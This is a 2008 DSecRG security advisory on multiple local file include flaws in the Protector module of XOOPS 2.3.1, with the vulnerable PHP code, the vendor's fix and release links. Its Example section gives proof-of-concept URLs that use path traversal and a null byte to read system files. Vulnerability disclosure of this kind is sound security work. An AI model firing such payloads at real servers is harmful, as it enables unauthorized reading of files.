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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-040
Application: XOOPS
Versions Affected: 2.3.1
Vendor URL: http://www.xoops.org/
Bug: Multiple Local File Include
Exploits: YES
Reported: 10.11.2008
Vendor response: 10.11.2008
Solution: YES
Date of Public Advisory: 08.12.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot]
ru)
Description
***********
XOOPS has Multiple Local File Include vulnerabilities.
Details
*******
Local File Include vulnerability found in scripts:
xoops_lib/modules/protector/blocks.php
xoops_lib/modules/protector/main.php
Successful exploitation requires that "register_globals" is enabled.
Code
----
#################################################
$mytrustdirname = basename( dirname( __FILE__ ) ) ;
$mytrustdirpath = dirname( __FILE__ ) ;
// language files
$language = empty( $xoopsConfig['language'] ) ? 'english' : $xoopsConfig['language'] ;
if( file_exists( "$mydirpath/language/$language/main.php" ) ) {
// user customized language file (already read by common.php)
// include_once "$mydirpath/language/$language/main.php" ;
} else if( file_exists( "$mytrustdirpath/language/$language/main.php" ) ) {
// default language file
include_once "$mytrustdirpath/language/$language/main.php" ;
...
#################################################
For successful exploitation first condition in if..else statement must be not true.
Example:
http://[server]/[installdir]/xoops_lib/modules/protector/blocks.
php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../..
/boot.ini%00
http://[server]/[installdir]/xoops_lib/modules/protector/main.
php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../..
/boot.ini%00
Solution
********
Vendor fixed this flaw on 26.11.2008.
XOOPS 2.3.2a Security Release can be download from Sourceforge repository:
https://sourceforge.net/project/showfiles.
php?group_id=41586&package_id=153583&release_id=643010
Release notes:
http://www.xoops.org/modules/news/article.php?storyid=4540
About
*****
Digital Security is leading IT security company in Russia, providing information security
consulting, audit and penetration testing services, risk analysis and ISMS-related services and
certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses
on web application and database security problems with vulnerability reports, advisories and
whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
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